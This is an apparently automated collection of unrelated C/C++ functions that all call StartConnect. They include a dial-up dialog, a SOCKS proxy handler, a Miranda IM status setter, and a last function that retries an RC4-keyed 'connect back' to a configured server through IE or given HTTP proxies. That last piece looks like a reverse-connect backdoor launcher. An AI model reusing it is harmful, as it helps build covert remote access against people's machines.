void CDialDlg::OnConnect() { CString str; m_wndEntries.GetLBText (m_wndEntries.GetCurSel (), str); _App.Dial_LastEntry (str); StartConnect (); }
void SocksConnection::HandleRequest() { if(_socket->bytesAvailable() < _addr_len) { return; } QByteArray socks_addr = _socket->read(_addr_len); QString host; quint16 port; if(!ParseSocksAddress(socks_addr, host, port)) { EstablishFail(SocksReply_AddressTypeNotSupported); return; } qDebug() << "SOCKS Host Parsed:" << host << port; switch(_command) { case SocksCommand_Connect: StartConnect(host, port); break; case SocksCommand_UdpAssociate: StartUdpAssociate(host, port); break; default: qDebug() << "FAIL: Command not supported"; EstablishFail(SocksReply_CommandNotSupported); return; } if(_socket->bytesAvailable()) { ReadFromSocket(); } }
void SocksConnection::ProcessRequest() { if(_addr_buf.count() < 3) { qDebug() << "Address string is too short"; return EstablishFail(SocksReply_AddressTypeNotSupported); } int bytes_read; SocksHostAddress dest_addr; SocksAddressType code = ParseSocksAddressBytes(_addr_type, _addr_buf, dest_addr, bytes_read); if(!(code == SocksAddress_IPv4 || code == SocksAddress_DomainName)) { qDebug() << "SOCKS FAIL!"; return EstablishFail(SocksReply_AddressTypeNotSupported); } qDebug() << "SOCKS Parsed Host" << dest_addr.ToString(); switch(_command) { case SocksCommand_Connect: StartConnect(dest_addr); return; case SocksCommand_UdpAssociate: StartUdpAssociate(dest_addr); return; default: qDebug() << "FAIL: Command not supported"; return EstablishFail(SocksReply_CommandNotSupported); } }
BOOL CDialDlg::OnInitDialog() { CDialog::OnInitDialog(); if (m_pThis) { EndDialog (IDCANCEL); return FALSE; } if (m_hConn) { fsRasHangUp (m_hConn); m_hConn = NULL; } m_pThis = this; m_pThisRefs = 1; m_bNeedStop = FALSE; CRect rc; m_wndLog.GetClientRect (&rc); m_wndLog.InsertColumn (0, "", LVCFMT_LEFT, rc.right); if (m_dial) { m_wndEntries.AddString (m_dial->pszConnection); m_wndEntries.SetCurSel (0); GetDlgItem (IDC_AUTO)->EnableWindow (FALSE); StartConnect (); } else { fsRASMgr mgr; if (FALSE == mgr.EnumEntries () || mgr.GetEntriesCount () == 0) { MessageBox (LS (L_NODIALENTRIES), LS (L_ERR), MB_ICONERROR); Release_pThis (); EndDialog (IDCANCEL); return FALSE; } UINT i = 0; for (i = 0; i < mgr.GetEntriesCount (); i++) m_wndEntries.AddString (mgr.GetEntry (i)); for (i = 0; i < (UINT)m_wndEntries.GetCount (); i++) { CString strEntry; m_wndEntries.GetLBText (i, strEntry); if (lstrcmpi (strEntry, _App.Dial_LastEntry ()) == 0) { m_wndEntries.SetCurSel (i); break; } } if (CB_ERR == m_wndEntries.GetCurSel ()) m_wndEntries.SetCurSel (0); if (_App.Dial_Auto ()) { CheckDlgButton (IDC_AUTO, BST_CHECKED); PostMessage (WM_COMMAND, IDC_CONNECT); } } ApplyLanguage (); return TRUE; }
int CMraProto::SetStatus(int iNewStatus) { // remap global statuses to local supported switch (iNewStatus) { case ID_STATUS_OCCUPIED: iNewStatus = ID_STATUS_DND; break; case ID_STATUS_NA: case ID_STATUS_ONTHEPHONE: case ID_STATUS_OUTTOLUNCH: iNewStatus = ID_STATUS_AWAY; break; } // nothing to change if (m_iStatus == iNewStatus) return 0; DWORD dwOldStatusMode; //set all contacts to offline if ((m_iDesiredStatus = iNewStatus) == ID_STATUS_OFFLINE) { m_bLoggedIn = FALSE; dwOldStatusMode = InterlockedExchange((volatile LONG*)&m_iStatus, m_iDesiredStatus); // всех в offline, только если мы бывали подключены if (dwOldStatusMode > ID_STATUS_OFFLINE) for (MCONTACT hContact = db_find_first(m_szModuleName); hContact; hContact = db_find_next(hContact, m_szModuleName)) SetContactBasicInfoW(hContact, SCBIFSI_LOCK_CHANGES_EVENTS, (SCBIF_ID | SCBIF_GROUP_ID | SCBIF_SERVER_FLAG | SCBIF_STATUS), -1, -1, 0, 0, ID_STATUS_OFFLINE, 0, 0, 0); NETLIB_CLOSEHANDLE(m_hConnection); } else { // если offline то сразу ставим connecting, но обработка как offline dwOldStatusMode = InterlockedCompareExchange((volatile LONG*)&m_iStatus, ID_STATUS_CONNECTING, ID_STATUS_OFFLINE); switch (dwOldStatusMode) { case ID_STATUS_OFFLINE: // offline, connecting if (StartConnect() != NO_ERROR) { m_bLoggedIn = FALSE; m_iDesiredStatus = ID_STATUS_OFFLINE; dwOldStatusMode = InterlockedExchange((volatile LONG*)&m_iStatus, m_iDesiredStatus); } break; case ID_STATUS_ONLINE:// connected, change status case ID_STATUS_AWAY: case ID_STATUS_DND: case ID_STATUS_FREECHAT: case ID_STATUS_INVISIBLE: MraSendNewStatus(m_iDesiredStatus, m_iXStatus, _T(""), _T("")); case ID_STATUS_CONNECTING: // предотвращаем переход в любой статус (кроме offline) из статуса connecting, если он не вызван самим плагином if (dwOldStatusMode == ID_STATUS_CONNECTING && iNewStatus != m_iDesiredStatus) break; default: dwOldStatusMode = InterlockedExchange((volatile LONG*)&m_iStatus, m_iDesiredStatus); break; } } MraSetContactStatus(NULL, m_iStatus); ProtoBroadcastAck(NULL, ACKTYPE_STATUS, ACKRESULT_SUCCESS, (HANDLE)dwOldStatusMode, m_iStatus); return 0; }
int start(int argc,char argv[10][256]) { int ret=-1,n=0; char *pStart=NULL,*pEnd=NULL,proxy_pass[50]; memset(Server_IP,NULL,sizeof(Server_IP)); memset(Proxy_IP,NULL,sizeof(Proxy_IP)); memset(proxy_pass,NULL,sizeof(proxy_pass)); InitializeCriticalSection(&CRI_SOC); //初始化临界区对象 analysis_connect_info(); rc4_init(S_box,RC4_KEY,strlen((const char *)RC4_KEY)); //初始化密钥 switch (argc) { case 1: //默认先用IE代理回连,再直接回连 for(try_reconnect_number=0; try_reconnect_number<reconnect_number && ret==-1; try_reconnect_number++,Sleep(time_interval)) { if(query_reg()==0) { HTTP_connect_flag=1; ret=StartConnectByProxy(Server_IP,Server_Port,Proxy_IP,Proxy_Port,NULL); } HTTP_connect_flag=0; ret=StartConnect(Server_IP,Server_Port); } break; case 2: if(strcmp(argv[1],"-e")==0) { //通过内嵌配置回连 HTTP_connect_flag=0; for(try_reconnect_number=0; try_reconnect_number<reconnect_number && ret==-1; try_reconnect_number++,Sleep(time_interval)) ret=StartConnect(Server_IP,Server_Port); } else if(strcmp(argv[1],"-p")==0) { //通过默认HTTP回连 HTTP_connect_flag=1; sprintf(proxy_pass,"%s:%s",Proxy_Username,Proxy_Password); for(try_reconnect_number=0; try_reconnect_number<reconnect_number && ret==-1; try_reconnect_number++,Sleep(time_interval)) ret=StartConnectByProxy(Server_IP,Server_Port,Proxy_IP,Proxy_Port,proxy_pass); } break; case 3: //回连指定IP memset(Server_IP,NULL,sizeof(Server_IP)); if (strlen(argv[1])>16) return -1; strcat(Server_IP,argv[1]); Server_Port=atoi(argv[2]); HTTP_connect_flag=0; for(try_reconnect_number=0; try_reconnect_number<reconnect_number && ret==-1; try_reconnect_number++,Sleep(time_interval)) ret=StartConnect(Server_IP,Server_Port); break; case 5: //通过指定http代理(无验证) memset(Server_IP,NULL,sizeof(Server_IP)); memset(Proxy_IP,NULL,sizeof(Proxy_IP)); HTTP_connect_flag=1; if((pEnd=strchr(argv[2],':'))==NULL) return -1; memcpy(Proxy_IP,argv[2],pEnd-argv[2]); //获取代理服务器IP pStart=++pEnd; Proxy_Port=atoi(pStart); //获取代理服务器端口 strcat(Server_IP,argv[3]); //获取服务端IP Server_Port=atoi(argv[4]); //获取服务端端口 for(try_reconnect_number=0; try_reconnect_number<reconnect_number && ret==-1; try_reconnect_number++,Sleep(time_interval)) ret=StartConnectByProxy(Server_IP,Server_Port,Proxy_IP,Proxy_Port,NULL); break; case 7: //通过指定http代理(有验证) memset(Server_IP,NULL,sizeof(Server_IP)); memset(Proxy_IP,NULL,sizeof(Proxy_IP)); HTTP_connect_flag=1; if((pEnd=strchr(argv[2],':'))==NULL) return -1; memcpy(Proxy_IP,argv[2],pEnd-argv[2]); //获取代理服务器IP pStart=++pEnd; Proxy_Port=atoi(pStart); //获取代理服务器端口 strcat(Server_IP,argv[5]); //获取服务端IP Server_Port=atoi(argv[6]); //获取服务端端口 for(try_reconnect_number=0; try_reconnect_number<reconnect_number && ret==-1; try_reconnect_number++,Sleep(time_interval)) ret=StartConnectByProxy(Server_IP,Server_Port,Proxy_IP,Proxy_Port,argv[4]); break; default: break; } exit(0); }